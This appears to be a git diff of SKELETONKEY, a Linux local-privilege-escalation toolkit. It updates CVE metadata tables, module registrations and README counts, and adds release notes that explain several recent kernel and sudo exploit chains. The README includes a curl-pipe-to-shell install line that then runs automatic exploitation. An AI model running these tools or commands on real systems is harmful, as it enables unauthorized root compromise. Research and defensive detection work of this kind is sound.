with the corpus's lowest `--auto` safety rank), `bad_epoll` (CVE-2026-46242,
Jaeyoung Chung's "Bad Epoll" — a race UAF in `fs/eventpoll.c` reachable by
any unprivileged user with no user namespace; kernelCTF public PoC),
`nft_catchall` (CVE-2026-23111, the nf_tables `nft_map_catchall_activate`
abort-path UAF — an inverted condition frees a chain still referenced by a
catch-all GOTO map element; public reproduction by FuzzingLabs), and
`cifswitch` (CVE-2026-46243, Asim Manizada's "CIFSwitch" — the
`cifs.spnego` key type trusts userspace-forged authority fields, coercing
the root `cifs.upcall` helper into loading an attacker NSS module as root).
v0.9.0 added 5 gap-fillers
(`mutagen_astronomy` / `sudo_runas_neg1` / `tioscpgrp` / `vsock_uaf` / (`mutagen_astronomy` / `sudo_runas_neg1` / `tioscpgrp` / `vsock_uaf` /
`nft_pipapo`); v0.8.0 added 3 (`sudo_chwoot` / `udisks_libblockdev` / `nft_pipapo`); v0.8.0 added 3 (`sudo_chwoot` / `udisks_libblockdev` /
`pintheft`). v0.9.1 and v0.9.2 are verification-only sweeps that took `pintheft`). v0.9.1 and v0.9.2 are verification-only sweeps that took
@@ -232,19 +259,24 @@ Reliability + accuracy work in v0.7.x:
trace, OPSEC footprint, detection-rule coverage, verified-on trace, OPSEC footprint, detection-rule coverage, verified-on
records. Paste-into-ticket ready. records. Paste-into-ticket ready.
- **CVE metadata pipeline** (`tools/refresh-cve-metadata.py`) — fetches - **CVE metadata pipeline** (`tools/refresh-cve-metadata.py`) — fetches
CISA KEV catalog + NVD CWE; 12 of 34 modules cover KEV-listed CVEs. CISA KEV catalog + NVD CWE; 13 of 40 modules cover KEV-listed CVEs.
- **151 detection rules** across auditd / sigma / yara / falco; one - **151 detection rules** across auditd / sigma / yara / falco; one
command exports the corpus to your SIEM. command exports the corpus to your SIEM.
- `--auto` upgrades: per-detect 15s timeout, fork-isolated detect + - `--auto` upgrades: per-detect 15s timeout, fork-isolated detect +
exploit, structured verdict table, scan summary, `--dry-run`. exploit, structured verdict table, scan summary, `--dry-run`.
Not yet verified (6 of 34 CVEs): `vmwgfx` (VMware-guest only), Not yet verified (12 of 40 CVEs): `vmwgfx` (VMware-guest only),
`dirty_cow` (needs ≤ 4.4 kernel), `mutagen_astronomy` (mainline `dirty_cow` (needs ≤ 4.4 kernel), `mutagen_astronomy` (mainline
4.14.70 panics on Ubuntu 18.04 rootfs — needs CentOS 6 / Debian 7), 4.14.70 panics on Ubuntu 18.04 rootfs — needs CentOS 6 / Debian 7),
`pintheft` + `vsock_uaf` (kernel modules not autoloaded on common `pintheft` + `vsock_uaf` (kernel modules not autoloaded on common
Vagrant boxes), `fragnesia` (mainline 7.0.5 .debs need t64-transition Vagrant boxes), `fragnesia` (mainline 7.0.5 .debs need t64-transition
libs from Ubuntu 24.04+ / Debian 13+; no Parallels-supported box has libs from Ubuntu 24.04+ / Debian 13+), `ptrace_pidfd` + `sudo_host`
those yet). Rationale in + `cifswitch` (cifswitch detect + primitive VM-verified; full chain
pending) + `nft_catchall` (reconstructed kernel-UAF trigger, not
VM-verified) + `bad_epoll` (reconstructed epoll race trigger,
deliberately under-driven, not VM-verified) + `ghostlock` (reconstructed
rtmutex/futex-PI stack-UAF trigger, deliberately under-driven, not
VM-verified). Rationale in
[`tools/verify-vm/targets.yaml`](tools/verify-vm/targets.yaml). [`tools/verify-vm/targets.yaml`](tools/verify-vm/targets.yaml).
See [`ROADMAP.md`](ROADMAP.md) for the next planned modules and See [`ROADMAP.md`](ROADMAP.md) for the next planned modules and
+50 -2
View File
@@ -121,8 +121,8 @@ const struct cve_metadata cve_metadata_table[] = {
.cwe = "CWE-287", .cwe = "CWE-287",
.attack_technique = "T1611", .attack_technique = "T1611",
.attack_subtechnique = NULL, .attack_subtechnique = NULL,
.in_kev = false, .in_kev = true,
.kev_date_added = "", .kev_date_added = "2026-06-02",
}, },
{ {
.cve = "CVE-2022-0847", .cve = "CVE-2022-0847",
@@ -236,6 +236,14 @@ const struct cve_metadata cve_metadata_table[] = {
.in_kev = false, .in_kev = false,
.kev_date_added = "", .kev_date_added = "",
}, },
{
.cve = "CVE-2025-32462",
.cwe = "CWE-863",
.attack_technique = "T1068",
.attack_subtechnique = NULL,
.in_kev = false,
.kev_date_added = "",
},
{ {
.cve = "CVE-2025-32463", .cve = "CVE-2025-32463",
.cwe = "CWE-829", .cwe = "CWE-829",
@@ -252,6 +260,14 @@ const struct cve_metadata cve_metadata_table[] = {
.in_kev = false, .in_kev = false,
.kev_date_added = "", .kev_date_added = "",
}, },
{
.cve = "CVE-2026-23111",
.cwe = "CWE-416",
.attack_technique = "T1068",
.attack_subtechnique = NULL,
.in_kev = false,
.kev_date_added = "",
},
{ {
.cve = "CVE-2026-31635", .cve = "CVE-2026-31635",
.cwe = "CWE-130", .cwe = "CWE-130",
@@ -276,6 +292,30 @@ const struct cve_metadata cve_metadata_table[] = {
.in_kev = false, .in_kev = false,
.kev_date_added = "", .kev_date_added = "",
}, },
{
.cve = "CVE-2026-43499",
.cwe = "CWE-416",
.attack_technique = "T1068",
.attack_subtechnique = NULL,
.in_kev = false,
.kev_date_added = "",
},
{
.cve = "CVE-2026-46242",
.cwe = "CWE-416",
.attack_technique = "T1068",
.attack_subtechnique = NULL,
.in_kev = false,
.kev_date_added = "",
},
{
.cve = "CVE-2026-46243",
.cwe = "CWE-20",
.attack_technique = "T1068",
.attack_subtechnique = NULL,
.in_kev = false,
.kev_date_added = "",
},
{ {
.cve = "CVE-2026-46300", .cve = "CVE-2026-46300",
.cwe = "CWE-787", .cwe = "CWE-787",
@@ -284,6 +324,14 @@ const struct cve_metadata cve_metadata_table[] = {
.in_kev = false, .in_kev = false,
.kev_date_added = "", .kev_date_added = "",
}, },
{
.cve = "CVE-2026-46333",
.cwe = "CWE-269",
.attack_technique = "T1068",
.attack_subtechnique = NULL,
.in_kev = false,
.kev_date_added = "",
},
}; };
const size_t cve_metadata_table_len = const size_t cve_metadata_table_len =
+6
View File
@@ -55,6 +55,12 @@ void skeletonkey_register_sudo_runas_neg1(void);
void skeletonkey_register_tioscpgrp(void); void skeletonkey_register_tioscpgrp(void);
void skeletonkey_register_vsock_uaf(void); void skeletonkey_register_vsock_uaf(void);
void skeletonkey_register_nft_pipapo(void); void skeletonkey_register_nft_pipapo(void);
void skeletonkey_register_ptrace_pidfd(void);
void skeletonkey_register_sudo_host(void);
void skeletonkey_register_cifswitch(void);
void skeletonkey_register_nft_catchall(void);
void skeletonkey_register_bad_epoll(void);
void skeletonkey_register_ghostlock(void);
/* Call every skeletonkey_register_<family>() above in canonical order. /* Call every skeletonkey_register_<family>() above in canonical order.
* Single source of truth so the main binary and the test binary stay * Single source of truth so the main binary and the test binary stay
+6
View File
@@ -51,4 +51,10 @@ void skeletonkey_register_all_modules(void)
skeletonkey_register_tioscpgrp(); skeletonkey_register_tioscpgrp();
skeletonkey_register_vsock_uaf(); skeletonkey_register_vsock_uaf();
skeletonkey_register_nft_pipapo(); skeletonkey_register_nft_pipapo();
skeletonkey_register_ptrace_pidfd();
skeletonkey_register_sudo_host();
skeletonkey_register_cifswitch();
skeletonkey_register_nft_catchall();
skeletonkey_register_bad_epoll();
skeletonkey_register_ghostlock();
} }
+56 -2
View File
@@ -122,8 +122,8 @@
"cwe": "CWE-287", "cwe": "CWE-287",
"attack_technique": "T1611", "attack_technique": "T1611",
"attack_subtechnique": null, "attack_subtechnique": null,
"in_kev": false, "in_kev": true,
"kev_date_added": "" "kev_date_added": "2026-06-02"
}, },
{ {
"cve": "CVE-2022-0847", "cve": "CVE-2022-0847",
@@ -251,6 +251,15 @@
"in_kev": false, "in_kev": false,
"kev_date_added": "" "kev_date_added": ""
}, },
{
"cve": "CVE-2025-32462",
"module_dir": "sudo_host_cve_2025_32462",
"cwe": "CWE-863",
"attack_technique": "T1068",
"attack_subtechnique": null,
"in_kev": false,
"kev_date_added": ""
},
{ {
"cve": "CVE-2025-32463", "cve": "CVE-2025-32463",
"module_dir": "sudo_chwoot_cve_2025_32463", "module_dir": "sudo_chwoot_cve_2025_32463",
@@ -269,6 +278,15 @@
"in_kev": false, "in_kev": false,
"kev_date_added": "" "kev_date_added": ""
}, },
{
"cve": "CVE-2026-23111",
"module_dir": "nft_catchall_cve_2026_23111",
"cwe": "CWE-416",
"attack_technique": "T1068",
"attack_subtechnique": null,
"in_kev": false,
"kev_date_added": ""
},
{ {
"cve": "CVE-2026-31635", "cve": "CVE-2026-31635",
"module_dir": "dirtydecrypt_cve_2026_31635", "module_dir": "dirtydecrypt_cve_2026_31635",
@@ -296,6 +314,33 @@
"in_kev": false, "in_kev": false,
"kev_date_added": "" "kev_date_added": ""
}, },
{
"cve": "CVE-2026-43499",
"module_dir": "ghostlock_cve_2026_43499",
"cwe": "CWE-416",
"attack_technique": "T1068",
"attack_subtechnique": null,
"in_kev": false,
"kev_date_added": ""
},
{
"cve": "CVE-2026-46242",
"module_dir": "bad_epoll_cve_2026_46242",
"cwe": "CWE-416",
"attack_technique": "T1068",
"attack_subtechnique": null,
"in_kev": false,
"kev_date_added": ""
},
{
"cve": "CVE-2026-46243",
"module_dir": "cifswitch_cve_2026_46243",
"cwe": "CWE-20",
"attack_technique": "T1068",
"attack_subtechnique": null,
"in_kev": false,
"kev_date_added": ""
},
{ {
"cve": "CVE-2026-46300", "cve": "CVE-2026-46300",
"module_dir": "fragnesia_cve_2026_46300", "module_dir": "fragnesia_cve_2026_46300",
@@ -304,5 +349,14 @@
"attack_subtechnique": null, "attack_subtechnique": null,
"in_kev": false, "in_kev": false,
"kev_date_added": "" "kev_date_added": ""
},
{
"cve": "CVE-2026-46333",
"module_dir": "ptrace_pidfd_cve_2026_46333",
"cwe": "CWE-269",
"attack_technique": "T1068",
"attack_subtechnique": null,
"in_kev": false,
"kev_date_added": ""
} }
] ]
+8 -2
View File
@@ -4,7 +4,7 @@ Which SKELETONKEY modules cover CVEs that CISA has observed exploited
in the wild per the Known Exploited Vulnerabilities catalog. in the wild per the Known Exploited Vulnerabilities catalog.
Refreshed via `tools/refresh-cve-metadata.py`. Refreshed via `tools/refresh-cve-metadata.py`.
**12 of 34 modules cover KEV-listed CVEs.** **13 of 40 modules cover KEV-listed CVEs.**
## In KEV (prioritize patching) ## In KEV (prioritize patching)
@@ -22,6 +22,7 @@ Refreshed via `tools/refresh-cve-metadata.py`.
| CVE-2025-32463 | 2025-09-29 | CWE-829 | `sudo_chwoot_cve_2025_32463` | | CVE-2025-32463 | 2025-09-29 | CWE-829 | `sudo_chwoot_cve_2025_32463` |
| CVE-2021-22555 | 2025-10-06 | CWE-787 | `netfilter_xtcompat_cve_2021_22555` | | CVE-2021-22555 | 2025-10-06 | CWE-787 | `netfilter_xtcompat_cve_2021_22555` |
| CVE-2018-14634 | 2026-01-26 | CWE-190 | `mutagen_astronomy_cve_2018_14634` | | CVE-2018-14634 | 2026-01-26 | CWE-190 | `mutagen_astronomy_cve_2018_14634` |
| CVE-2022-0492 | 2026-06-02 | CWE-287 | `cgroup_release_agent_cve_2022_0492` |
## Not in KEV ## Not in KEV
@@ -36,7 +37,6 @@ and are technically reachable. "Not in KEV" is not the same as
| CVE-2020-14386 | CWE-250 | `af_packet2_cve_2020_14386` | | CVE-2020-14386 | CWE-250 | `af_packet2_cve_2020_14386` |
| CVE-2020-29661 | CWE-416 | `tioscpgrp_cve_2020_29661` | | CVE-2020-29661 | CWE-416 | `tioscpgrp_cve_2020_29661` |
| CVE-2021-33909 | CWE-190 | `sequoia_cve_2021_33909` | | CVE-2021-33909 | CWE-190 | `sequoia_cve_2021_33909` |
| CVE-2022-0492 | CWE-287 | `cgroup_release_agent_cve_2022_0492` |
| CVE-2022-25636 | CWE-269 | `nft_fwd_dup_cve_2022_25636` | | CVE-2022-25636 | CWE-269 | `nft_fwd_dup_cve_2022_25636` |
| CVE-2022-2588 | CWE-416 | `cls_route4_cve_2022_2588` | | CVE-2022-2588 | CWE-416 | `cls_route4_cve_2022_2588` |
| CVE-2023-0179 | CWE-190 | `nft_payload_cve_2023_0179` | | CVE-2023-0179 | CWE-190 | `nft_payload_cve_2023_0179` |
@@ -48,8 +48,14 @@ and are technically reachable. "Not in KEV" is not the same as
| CVE-2023-4622 | CWE-416 | `af_unix_gc_cve_2023_4622` | | CVE-2023-4622 | CWE-416 | `af_unix_gc_cve_2023_4622` |
| CVE-2024-26581 | ? | `nft_pipapo_cve_2024_26581` | | CVE-2024-26581 | ? | `nft_pipapo_cve_2024_26581` |
| CVE-2024-50264 | CWE-416 | `vsock_uaf_cve_2024_50264` | | CVE-2024-50264 | CWE-416 | `vsock_uaf_cve_2024_50264` |
| CVE-2025-32462 | CWE-863 | `sudo_host_cve_2025_32462` |
| CVE-2025-6019 | CWE-250 | `udisks_libblockdev_cve_2025_6019` | | CVE-2025-6019 | CWE-250 | `udisks_libblockdev_cve_2025_6019` |
| CVE-2026-23111 | CWE-416 | `nft_catchall_cve_2026_23111` |
| CVE-2026-31635 | CWE-130 | `dirtydecrypt_cve_2026_31635` | | CVE-2026-31635 | CWE-130 | `dirtydecrypt_cve_2026_31635` |
| CVE-2026-41651 | CWE-367 | `pack2theroot_cve_2026_41651` | | CVE-2026-41651 | CWE-367 | `pack2theroot_cve_2026_41651` |
| CVE-2026-43494 | ? | `pintheft_cve_2026_43494` | | CVE-2026-43494 | ? | `pintheft_cve_2026_43494` |
| CVE-2026-43499 | CWE-416 | `ghostlock_cve_2026_43499` |
| CVE-2026-46242 | CWE-416 | `bad_epoll_cve_2026_46242` |
| CVE-2026-46243 | CWE-20 | `cifswitch_cve_2026_46243` |
| CVE-2026-46300 | CWE-787 | `fragnesia_cve_2026_46300` | | CVE-2026-46300 | CWE-787 | `fragnesia_cve_2026_46300` |
| CVE-2026-46333 | CWE-269 | `ptrace_pidfd_cve_2026_46333` |
+1
View File
@@ -26,6 +26,7 @@ haven't been maintained in years.
```bash ```bash
curl -sSL https://github.com/KaraZajac/SKELETONKEY/releases/latest/download/install.sh | sh \ curl -sSL https://github.com/KaraZajac/SKELETONKEY/releases/latest/download/install.sh | sh \
&& export PATH="$HOME/.local/bin:$PATH" \
&& skeletonkey --auto --i-know && skeletonkey --auto --i-know
``` ```
+341
View File
@@ -1,3 +1,344 @@
## SKELETONKEY v0.9.13 — new LPE module: ghostlock (CVE-2026-43499)
Adds **`ghostlock` — CVE-2026-43499 "GhostLock"** (VEGA / Nebula Security,
"IonStack part II"), taking the corpus to **45 modules / 40 CVEs** and opening a
brand-new subsystem: **rtmutex / futex requeue-PI** (`kernel/locking/rtmutex.c`).
It is also the corpus's first kernel-**stack** use-after-free — every other UAF
in the set is heap/slab. On the `-EDEADLK` deadlock-rollback path,
`remove_waiter()` operates on `current` instead of the actual waiter task while
unwinding a proxy lock in `rt_mutex_start_proxy_lock()` (reached from
`futex_requeue()`); if a concurrent PI-chain priority walk — driven from another
CPU via `sched_setattr()` — runs at that instant, `pi_blocked_on` is cleared on
the wrong task and an on-stack `rt_mutex_waiter` is left dangling, becoming a
controlled kernel write when the rbtree is later rotated over the reused frame.
Reachable by **any unprivileged user** (CVSS 7.8, PR:L) — plain `futex(2)` +
`sched_setattr(2)`, no user namespace, no capability, only `CONFIG_FUTEX_PI`
(universal). It has existed since PI-futex requeue landed in **2.6.39** — ~15
years across every distribution. The public exploit weaponises it (Android/Pixel)
via a "KernelSnitch" futex-bucket page leak → forged waiter → `struct file`
`f_op` → configfs/ashmem R/W → pipe physical R/W → cred patch; ~97% stable on
kernelCTF, $92,337. Introduced 2.6.39; fixed `3bfdc63936dd` (merged 7.1-rc1),
stable backports 7.0.4 / 6.18.27 / 6.12.86 / 6.6.140 / 6.1.175 — the
5.15/5.10/5.4/4.19 LTS branches are affected with no upstream fix. CWE-416 (race
root cause CWE-362); not in CISA KEV.
🟡 **Trigger (reconstructed) — reachability-only, deliberately under-driven, not
VM-verified.** `detect()` is a pure kernel-version gate over a five-branch
backport table (7.0.4 / 6.18.27 / 6.12.86 / 6.6.140 / 6.1.175, 7.1+ inherits
mainline; 5.15/5.10/5.4/4.19 affected with no fix; < 2.6.39 not affected) — no
userns/CONFIG probe (`CONFIG_FUTEX_PI` assumed). `exploit()` forks an isolated
child that **(A)** deterministically confirms the `-EDEADLK` `remove_waiter()`
rollback path is reachable — a **safe** witness, since without a concurrent
priority walk the unwind creates no dangling pointer (validated on real hardware:
the requeue-PI cycle returns `-EDEADLK` reliably) — then **(B)** exercises the
actual race a hard-bounded 24 iterations / 2 s with a sibling-CPU
`sched_setattr(SCHED_BATCH)` storm, and stops. It does **not** widen the
`copy_from_user` window (no memfd/`PUNCH_HOLE`), does **not** spray or reoccupy
the freed stack frame, and does **not** bundle the KernelSnitch leak →
forged-waiter → fops/configfs/ashmem/pipe R/W → cred-patch chain (Android/Pixel-
specific, per-build offsets). Returns `EXPLOIT_FAIL`. It carries the corpus's
**lowest `--auto` safety rank (11)** — a won race corrupts the kernel stack and
drives a near-arbitrary pointer write (near-certain panic), so `--auto` only
reaches for it after every safer vulnerable module. Unlike most kernel races
GhostLock has a **real detection signature**: a futex requeue-PI op returning
`-EDEADLK` (glibc never provokes this) plus tight-loop
`sched_setattr(SCHED_BATCH)` on a sibling thread — the shipped auditd/sigma rules
anchor on `sched_setattr` + the post-exploitation euid-0 transition, the
falco/eBPF rule on the requeue-PI-EDEADLK tell; no yara. Wired: registry,
Makefile, safety rank (11), 9 `detect()` test rows (incl. the multi-branch
"newer than all" case 6.13.0 → VULNERABLE), CVE metadata (CWE-416 / T1068 /
not-KEV), README + CVES.md + website counts (45/40), RELEASE_NOTES v0.9.13, and a
verify-vm target (sweep pending). Also corrects pre-existing website drift left
by v0.9.12 (index.html body counts + the missing `bad_epoll` corpus pill).
Credits VEGA / Nebula Security + the upstream fix `3bfdc63936dd`.
## SKELETONKEY v0.9.12 — new LPE module: bad_epoll (CVE-2026-46242)
Adds **`bad_epoll` — CVE-2026-46242 "Bad Epoll"** (Jaeyoung Chung /
`J-jaeyoung`, submitted to Google's kernelCTF), taking the corpus to **44
modules / 39 CVEs** and opening a brand-new subsystem: **epoll /
`fs/eventpoll.c`**. A race-condition use-after-free on the file-teardown
path — `ep_remove()` clears `file->f_ep` under `file->f_lock` but keeps
using the file inside the critical section (`hlist_del_rcu()` +
`spin_unlock()`), so a concurrent `__fput()` observes the transient NULL,
skips `eventpoll_release_file()`, and frees a `struct eventpoll` still in
use. The public exploit weaponises the 8-byte UAF write via a cross-cache
attack to a `struct file`, arbitrary kernel read through
`/proc/self/fdinfo`, and a ROP chain — ~99% reliable through a
~6-instruction window, and reachable by **any unprivileged user with no
user namespace, no CONFIG, and no capability** (which also means there is
no unprivileged-userns stopgap — the only fix is to patch). Introduced by
`58c9b016e128` (Linux 6.4); fixed by `a6dc643c6931` (merged 7.1-rc1),
stable backport 7.0.13. CWE-416 (race root cause CWE-362); not in CISA
KEV. Also affects Android.
🟡 **Trigger (reconstructed) — deliberately under-driven, primitive-only,
not VM-verified.** A *won* race frees a live `struct eventpoll` — real
memory corruption that rarely trips KASAN, so a completed race can
silently destabilise a vulnerable host. `detect()` is therefore a pure
kernel-version gate (vulnerable iff ≥ 6.4 and below the fix on-branch;
stable backport 7.0.13, 7.1+ inherits; 6.1/5.10 not affected) with **no
active probe** — there is no safe way to distinguish vulnerable from
patched without winning the race. `exploit()` forks a CPU-pinned child
that builds the epoll race pair and exercises the `ep_remove`-vs-`__fput`
concurrent-close window a **hard-bounded** 48 attempts / 2 s (widened with
`close(dup())` false-sharing storms), snapshots the eventpoll slab, and
returns `EXPLOIT_FAIL`; it does not grind the race to a win, does not do
the cross-cache reclaim, and does not bundle the `fdinfo` arbitrary-read +
ROP root-pop (per-build offsets refused). It carries the corpus's
**lowest `--auto` safety rank (12)** — a kernel race that frees a live
`struct file` is the least predictable class, so `--auto` only reaches for
it after every safer vulnerable module. Detection is intentionally
weak/structural (epoll syscalls are ubiquitous and the exploit rarely
trips KASAN) — the shipped auditd/sigma/falco rules key on the
post-exploitation euid-0 transition, with no yara; treat this as much as a
blue-team "your stack is nearly blind to this" teaching case as an
offensive one. Wired: registry, Makefile, safety rank (12), 5 `detect()`
test rows (version gating), CVE metadata (CWE-416 / T1068 / not-KEV),
README + CVES.md + website counts (44/39), RELEASE_NOTES v0.9.12, and a
verify-vm target (sweep pending). Credits Jaeyoung Chung + the upstream
fix in `NOTICE.md`. Reconstructed from the public kernelCTF PoC and not
VM-verified, so the verified count stays 28 of 39.
## SKELETONKEY v0.9.11 — new LPE module: nft_catchall (CVE-2026-23111)
Adds **`nft_catchall` — CVE-2026-23111**, taking the corpus to **43
modules / 38 CVEs**. The newest nftables LPE: a **use-after-free** in the
nf_tables transaction-abort path. `nft_map_catchall_activate()` carries an
inverted condition (a stray `!`) so the abort path processes *active*
catch-all map elements instead of skipping them — a catch-all GOTO element
drives a chain's use-count to zero, and a following `DELCHAIN` frees the
chain while the catch-all verdict still references it → UAF. From an
unprivileged user (user namespaces + nftables) it escalates to root via a
`modprobe_path` / `selinux_state` ROP. Fixed upstream by commit `f41c5d1`;
CWE-416, CVSS 7.8; not in CISA KEV. Public reproduction + analysis by
**FuzzingLabs**.
🟡 **Trigger (reconstructed) — primitive-only, not VM-verified.** This is
one more UAF in the corpus's most-covered subsystem (`nf_tables`,
`nft_set_uaf`, `nft_payload`, `nft_pipapo`, …) and ships on the same
contract as `nf_tables` (CVE-2024-1086): a fork-isolated trigger that
fires the bug class and stops. `detect()` version-gates against the
Debian backports (upstream thresholds 6.1.164 / 6.12.73 / 6.18.10;
catch-all set elements arrived ~5.13) **and** requires unprivileged
user-namespace clone — a vulnerable kernel with userns locked down is
`PRECOND_FAIL`. `exploit()` builds a verdict map with a catch-all GOTO
element and provokes an aborting batch transaction to drive the abort-path
UAF, observes slabinfo, and returns `EXPLOIT_FAIL`. The per-kernel leak +
arbitrary-R/W + `modprobe_path` ROP is **not** bundled (per-build offsets
refused), and the trigger is reconstructed from the public analysis rather
than VM-verified — it never claims root it did not get. Ships auditd +
sigma + falco rules, ATT&CK T1068 + CWE-416 metadata, six new `detect()`
unit-test rows (version + userns gating), credits FuzzingLabs + the
upstream fix in `NOTICE.md`, and a verify-vm target (sweep pending). Not
VM-verified, so the verified count stays 28 of 38.
## SKELETONKEY v0.9.10 — new LPE module: cifswitch (CVE-2026-46243)
Adds **`cifswitch` — CVE-2026-46243 "CIFSwitch"** (Asim Manizada,
2026-05-28), taking the corpus to **42 modules / 37 CVEs**. The newest
kernel-7-era LPE not already covered: a ~19-year-old logic flaw in
`fs/smb/client/cifs_spnego.c` where the `cifs.spnego` request-key type
accepts key descriptions created by *userspace* (`add_key(2)` /
`request_key(2)`) without verifying the request came from the in-kernel
CIFS client. The description carries authority-bearing fields
(`pid`/`uid`/`creduid`/`upcall_target`) that the root `cifs.upcall`
helper trusts as kernel-originating; combined with user+mount namespace
tricks, an unprivileged user coerces `cifs.upcall` into loading an
attacker NSS module as root. Fixed upstream by `3da1fdf4efbc` (merged
7.1-rc5); NVD class CWE-20; not in CISA KEV.
🟡 **Honest port — full chain not VM-verified.** `detect()` gates on the
kernel version (Debian backports 5.10.257 / 6.1.174 / 6.12.90 / 7.0.10)
**and** on the presence of the vulnerable userspace path — a vulnerable
kernel without `cifs-utils` reports `PRECOND_FAIL`, not a false
`VULNERABLE` (override the probe with `SKELETONKEY_CIFS_ASSUME_PRESENT=1`
/`0`). `exploit()` fires only the non-destructive primitive — `add_key(2)`
of a forged-but-benign `cifs.spnego` key, which does **not** invoke
`cifs.upcall` and loads nothing, revoked immediately — and treats a clean
accept as the empirical witness that userspace can forge the
authority-bearing key type. It then stops: the namespace-switch +
malicious-NSS-load root-pop is target/config-specific and is not bundled
until VM-verified, so it returns honest `EXPLOIT_FAIL` without a euid-0
witness (never fabricates root). `--mitigate` blocklists the `cifs`
module (`/etc/modprobe.d/skeletonkey-disable-cifs.conf`); `--cleanup`
reverts. Structural, arch-agnostic (keyring + namespace logic, no
shellcode). Ships auditd + sigma + falco rules, MITRE ATT&CK T1068 +
CWE-20 metadata, six new `detect()` unit-test rows, and credits Asim
Manizada in `NOTICE.md`. **Partially VM-verified** (2026-06-08, Ubuntu
24.04.4 / kernel 6.8.0-117, QEMU/HVF): `detect()`'s precondition + version
gating and the `add_key` primitive are confirmed — an independent
`python3` `ctypes` `add_key("cifs.spnego", …)` was accepted and the
module's `exploit()` reported "primitive CONFIRMED" then honest
`EXPLOIT_FAIL`. The full namespace+NSS root-pop and a patched-kernel
discriminator check remain pending, so cifswitch is **not** counted as a
verified end-to-end CVE — the verified count stays 28 of 37. Details in
the module `NOTICE.md` and `tools/verify-vm/targets.yaml`.
## SKELETONKEY v0.9.9 — install.sh needs no root; CVE-2022-0492 KEV drift
Two maintenance fixes, no new modules.
**`install.sh` never escalates to sudo.** SKELETONKEY is a privilege-
escalation tool — the operator by definition does *not* have root yet, so
the installer must not demand it. The old default wrote to `/usr/local/bin`
and fell back to `sudo mv` when that wasn't writable, prompting for a
password on exactly the unprivileged accounts this tool targets. It now
installs sudo-free: `/usr/local/bin` is used only when already writable,
otherwise it falls back to a per-user `$HOME/.local/bin` (honoring
`XDG_BIN_HOME`), created as needed. An explicit `SKELETONKEY_PREFIX` is
honored exactly and errors rather than escalating if unwritable. When the
chosen dir isn't on `$PATH` the installer prints the absolute path, and the
documented `curl … | sh && skeletonkey --auto --i-know` one-liner now
prepends `$HOME/.local/bin` to `$PATH` so it resolves on a fresh login. The
quickstart no longer prefixes `sudo` to `--scan`/`--audit`/`--auto`
detection and escalation run as the unprivileged user; only writing audit
rules into `/etc/audit` legitimately needs root.
**Federal metadata drift (the failing scheduled build).** The weekly
`drift-check` caught two upstream changes since v0.9.8:
- **CVE-2022-0492 entered CISA KEV (2026-06-02).** The cgroup v1
`release_agent` container-escape (`cgroup_release_agent`) is now on the
Known Exploited Vulnerabilities catalog. The corpus reports **13 of 36**
modules covering KEV-listed CVEs (was 12).
- **CVE-2026-46333 gained a CWE.** When `ptrace_pidfd` was added two weeks
after disclosure, NVD had not yet classified it; it is now **CWE-269**
(Improper Privilege Management).
A third, latent cause kept the gate red even after those two: when
`sudo_host` (CVE-2025-32462) was added in v0.9.8 its record was appended to
the *end* of `CVE_METADATA.json`, but the drift check compares the record
list in `discover_cves()`'s sorted order — so the out-of-order entry read
as drift regardless of its values. Regenerating via the script restores
sorted order.
Refreshed `CVE_METADATA.json`, the generated `cve_metadata.c` table, and
`KEV_CROSSREF.md` accordingly (README + website counts updated).
## SKELETONKEY v0.9.8 — two new LPE modules (ptrace_pidfd, sudo_host)
Adds the two most compelling recent Linux LPEs not already in the corpus,
taking it to **41 modules / 36 CVEs** (every year 2016 → 2026 still
covered).
**`ptrace_pidfd` — CVE-2026-46333** (Qualys TRU, 2026-05-20). A logic
flaw in the kernel's `__ptrace_may_access()` path leaves a process that
is *dropping* its credentials briefly reachable past its `dumpable`
boundary; `pidfd_getfd(2)` rides that window to steal a root-opened file
descriptor or authenticated channel from a transiently-privileged setuid
binary (chage / pkexec / ssh-keysign) or root daemon. Default-distro, no
userns, architecture-agnostic (descriptor theft, no shellcode). detect()
is version-pinned (predates-gate at pidfd_getfd's 5.6 introduction;
Debian backports 5.10.251 / 6.1.172 / 6.12.88 / 7.0.7). `--mitigate`
sets `kernel.yama.ptrace_scope=2`.
**`sudo_host` — CVE-2025-32462** (Rich Mirch / Stratascale, 2025-06-30;
sibling of v0.8.0's `sudo_chwoot`). sudo's `-h`/`--host` option, meant
only to pair with `-l`, was honored when running a command — so a
sudoers rule scoped to a host other than the current machine (and not
ALL) is usable via `sudo -h <host> <cmd>` for local root. Affects sudo
1.8.8 → 1.9.17p0 (fixed 1.9.17p1); CWE-863, CVSS 8.8. Most relevant to
fleet-wide / LDAP / SSSD sudoers.
Both are honest ports: detect() is version-pinned and unit-tested (10 new
detect() rows, all green in CI), and exploit() fires the real primitive
and returns `EXPLOIT_FAIL` unless it can witness euid 0 — never
fabricating root. Neither is VM-verified yet (both flagged "sweep
pending" in `tools/verify-vm/targets.yaml`), so the verified count stays
28 of 36. Each ships auditd + sigma + falco rules, MITRE ATT&CK + CWE
metadata, and credits the original researcher in its `NOTICE.md`.
## SKELETONKEY v0.9.7 — kernel_range drift fix + CI Node 24 readiness
Two maintenance fixes, no new modules.
**`fragnesia` kernel_range drift.** Debian backported CVE-2026-46300 to
the 5.10 oldstable branch (bullseye 5.10.257), a branch the module's
`kernel_patched_from` table didn't model — on a patched bullseye host
`detect()` would have false-positived VULNERABLE. Added the `{5,10,257}`
entry; the weekly `refresh-kernel-ranges.py` drift gate is green again.
(The other flagged modules are INFO-only "more permissive" thresholds
the check tolerates by design.)
**CI Node 24 readiness.** GitHub forces the Node 24 Actions runtime on
2026-06-16 and removes Node 20. Bumped every workflow action off its
Node-20 line:
- `actions/checkout` v4 → v6
- `actions/upload-artifact` v4 → v7
- `actions/download-artifact` v4 → v8
- `softprops/action-gh-release` v2 → v3
Each was reviewed against its changelog: the artifact flow uploads
default-zipped, uniquely-named artifacts and downloads the full set, so
none of the major-version breaking changes (opt-in direct uploads,
download-by-ID path changes) apply. This release is itself the
end-to-end test of the new artifact actions.
## SKELETONKEY v0.9.6 — `--auto` no longer prompts for sudo password
Two sudo modules' `detect()` bodies invoked `sudo -ln` to read the
user's allowed-commands list. The intent was non-interactive — `-ln`
should parse as `-l -n` (list + non-interactive). But some sudoers /
PAM configurations have been observed prompting for a password
anyway when the flags are bundled, defeating the point.
That meant `skeletonkey --auto --i-know` could hang on a sudo
password prompt during the corpus scan, even though the whole point
of an LPE tool is to *get* root without already having it.
Fix in `sudo_runas_neg1` and `sudoedit_editor`:
- `-n -l` written as separate flags (instead of bundled `-ln`)
